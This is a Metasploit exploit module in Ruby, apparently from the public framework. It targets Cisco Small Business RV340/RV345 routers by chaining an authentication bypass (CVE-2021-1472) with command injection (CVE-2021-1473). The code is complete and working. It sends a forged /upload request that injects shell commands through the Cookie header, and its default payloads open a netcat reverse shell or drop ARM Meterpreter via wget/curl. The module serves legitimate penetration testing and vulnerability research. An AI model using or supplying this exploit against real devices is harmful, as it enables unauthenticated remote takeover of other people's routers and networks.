## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager include Msf::Exploit::FileDropper def initialize(info = {}) super( update_info( info, 'Name' => 'Cisco Small Business RV Series Authentication Bypass and Command Injection', 'Description' => %q{ This module exploits an authentication bypass (CVE-2021-1472) and command injection (CVE-2021-1473) in the Cisco Small Business RV series of VPN/routers. The device does not adequately verify the credentials in the HTTP Authorization field when requests are made to the /upload endpoint. Then the upload.cgi binary will use the contents of the HTTP Cookie field as part of a `curl` request aimed at an internal endpoint. The curl request is executed using `popen` and allows the attacker to inject commands via the Cookie field. A remote and unauthenticated attacker using this module is able to achieve code execution as `www-data`. This module affects the RV340, RV340w, RV345, and RV345P using firmware versions 1.0.03.20 and below. }, 'License' => MSF_LICENSE, 'Author' => [ 'Takeshi Shiomitsu', # Vulnerability discovery 'jbaines-r7' # Metasploit module ], 'References' => [ [ 'CVE', '2021-1472' ], [ 'CVE', '2021-1473' ], [ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sb-rv-bypass-inject-Rbhgvfdx'], [ 'URL', 'https://seclists.org/fulldisclosure/2021/Apr/39' ], [ 'URL', 'https://www.iot-inspector.com/blog/advisory-cisco-rv34x-authentication-bypass-remote-command-execution/' ] ], 'DisclosureDate' => '2021-04-07', 'Platform' => ['unix', 'linux'], 'Arch' => [ARCH_CMD, ARCH_ARMLE], 'Privileged' => false, 'Targets' => [ [ 'Unix Command', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_cmd, 'Payload' => { 'BadChars' => '\'' }, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_netcat' } } ], [ 'Linux Dropper', { 'Platform' => 'linux', 'Arch' => [ARCH_ARMLE], 'Type' => :linux_dropper, 'Payload' => { 'BadChars' => '\'' }, 'CmdStagerFlavor' => [ 'wget', 'curl' ], 'DefaultOptions' => { 'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp' } } ] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'RPORT' => 443, 'SSL' => true, 'MeterpreterTryToFork' => true }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK ] } ) ) register_options([ OptString.new('TARGETURI', [true, 'Base path', '/']) ]) end # Sends the exploit. Authentication bypass is successful as long as the authorization field # is present (we add a valid base64 value as well). Command injection occurs in the cookie # field. Otherwise, various values need to be present in the /upload to satisfy the upload # configuration logic. Randomized values to the best of our ability. # @return res def send_exploit(cmd) options = Rex::Text.rand_text_alphanumeric(5..12) destination = Rex::Text.rand_text_alphanumeric(5..12) filepath = Rex::Text.rand_text_alphanumeric(5..12) filename = Rex::Text.rand_text_alphanumeric(5..12) filexml = Rex::Text.rand_text_alphanumeric(5..12) uploadname = Rex::Text.rand_text_alphanumeric(5..12) auth = Rex::Text.encode_base64("#{Rex::Text.rand_text_alphanumeric(5..12)}:#{Rex::Text.rand_text_alphanumeric(5..12)}") multipart_form = Rex::MIME::Message.new multipart_form.add_part(options, nil, nil, 'form-data; name="option"') multipart_form.add_part(destination, nil, nil, 'form-data; name="destination"') multipart_form.add_part(filepath, nil, nil, 'form-data; name="file.path"') multipart_form.add_part(filexml, 'application/xml', nil, 'form-data; name="file"; filename="config.xml"') multipart_form.add_part("#{filename}.xml", nil, nil, 'form-data; name="filename"') # this xml data required as is multipart_form.add_part('configuration' \ 'FILE://Configuration/config.xml' \ 'config-running', nil, nil, "form-data; name=\"#{uploadname}\"") send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/upload'), 'ctype' => "multipart/form-data; boundary=#{multipart_form.bound}", 'headers' => { 'Cookie' => "sessionid='`#{cmd}`'", 'Authorization' => auth }, 'data' => multipart_form.to_s }, 10) end # The system doesn't have a good way to snag the version. This check attempts the exploit # with a command that returns immediately (id) and checks that the response looks like # how a vulnerable target would respond. def check res = send_exploit('id') return CheckCode::Unknown("Didn't receive a response from the target.") unless res return CheckCode::Safe('The target did not respond with a 200 OK.') unless res.code == 200 if res.body.include?('"jsonrpc":"2.0"') || res.body.include?('301 Moved Permanently') return CheckCode::Appears('The device responded to exploitation with a 200 OK.') end CheckCode::Safe('The target did not respond with an expected payload.') end def execute_command(cmd, _opts = {}) # parsing of the cookie field is thrown off by ;. Replacing with && works fine, but the only # downside is if the payload fails then it won't clean up after itself. Oddly, device's sh # required the spacing. cmd = cmd.gsub(/;/, ' && ') res = send_exploit(cmd) # unix command holds the connection open. Meterpreter should not. I think this logic is fine though. # If :unix_cmd gets a good check() value and then send_exploit returns with a nil response # then that is a clear sign that :unix_cmd was successful if target['Type'] != :unix_cmd fail_with(Failure::UnexpectedReply, 'The target did not respond with a 200 OK') unless res&.code == 200 body_json = res.get_json_document fail_with(Failure::UnexpectedReply, 'The target did not respond with a JSON body') unless body_json end print_good('Exploit successfully executed.') end def exploit print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") case target['Type'] when :unix_cmd execute_command(payload.encoded) when :linux_dropper execute_cmdstager(linemax: 120) end end end